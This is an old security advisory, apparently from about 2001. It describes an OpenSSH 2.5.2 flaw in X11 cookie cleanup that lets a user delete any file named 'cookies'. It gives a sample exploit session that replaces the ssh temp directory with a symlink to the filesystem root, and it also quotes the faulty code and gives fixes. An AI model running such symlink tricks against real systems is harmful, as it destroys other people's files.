|
COMMAND OpenSSH SYSTEMS AFFECTED OpenSSH PROBLEM 'zen-parse' found following. You can delete any file on the filesystem you want... as long as its called cookies. Not really a very useful bug, but could cause annoyances to people who actually like their cookies. Sample exploit: [root@clarity /root]# touch /cookies;ls /cookies /cookies [root@clarity /root]# ssh zen@localhost zen@localhost's password: Last login: Mon Jun 4 20:22:39 2001 from localhost.local Linux clarity 2.2.19-7.0.1 #1 Tue Apr 10 01:56:16 EDT 2001 i686 unknown [zen@clarity zen]$ rm -r /tmp/ssh-XXW9hNY9/; ln -s / /tmp/ssh-XXW9hNY9 [zen@clarity zen]$ logout Connection to localhost closed. [root@clarity /root]# ls /cookies /bin/ls: /cookies: No such file or directory Tested on Red Hat Linux release 7.0 (Guinness): [zen-parse@clarity zen-parse]$ rpm -qf /usr/sbin/sshd openssh-server-2.5.2p2-1.7.2 [zen-parse@clarity zen-parse]$ ssh -V OpenSSH_2.5.2p2, SSH protocols 1.5/2.0, OpenSSL 0x0090581f The configuration file has not been modified from the default settings. Although sshd does drop root privileges, the processes groups are not cleared. (From /proc/$$/status of the sshd handling the session, and the output of strace and ltrace. (no use of initgroups in the ltrace output of the process that creates the directory, although it does do change euid before hand. there no setgroups in the strace output.) The file itself is created with O_EXCL so a symlink in place of the file cannot be used to create/overwrite arbitrary files. This vulnerability works fine on both RedHat 7.1 & 7.0 with the latest updated packages from RedHat installed. Jerry Connolly tested it on OpenSSH_2.5.2 on OpenBSD and it worked. He had to enable X forwarding on the client and server before the remote machine would create (and attempt to unlink() ) the cookies file. The offending code is in session.c in the xauthfile_cleanup_proc() function <SNIP> /* * Remove local Xauthority file. */ void xauthfile_cleanup_proc(void *ignore) { debug("xauthfile_cleanup_proc called"); if (xauthfile != NULL) { char *p; unlink(xauthfile); </SNIP> where xauthfile points to a buffer containing the name of the cookies file. SOLUTION Fixed in openssh's cvs (see www.openssh.com). For NetBSD if you cannot upgrade the sshd(8) binary, make sure you have "X11Forwarding no" in your system-wide sshd configuration file. The configuration file is located at /etc/sshd_config (for pkgsrc) or /etc/sshd.conf (in-tree sshd). If you are using openssh from pkgsrc, upgrade it to openssh-2.9p2 or higher. Make sure you have removed older sshd(8) binaries. If you are using ssh from pkgsrc (security/ssh, ssh.com implementation), migrate to openssh from pkgsrc (security/openssh). If you are using in-tree sshd (/usr/sbin/sshd), you may want to install openssh pkgsrc (2.9p2 or later) and use /usr/pkg/sbin/sshd instead of /usr/sbin/sshd.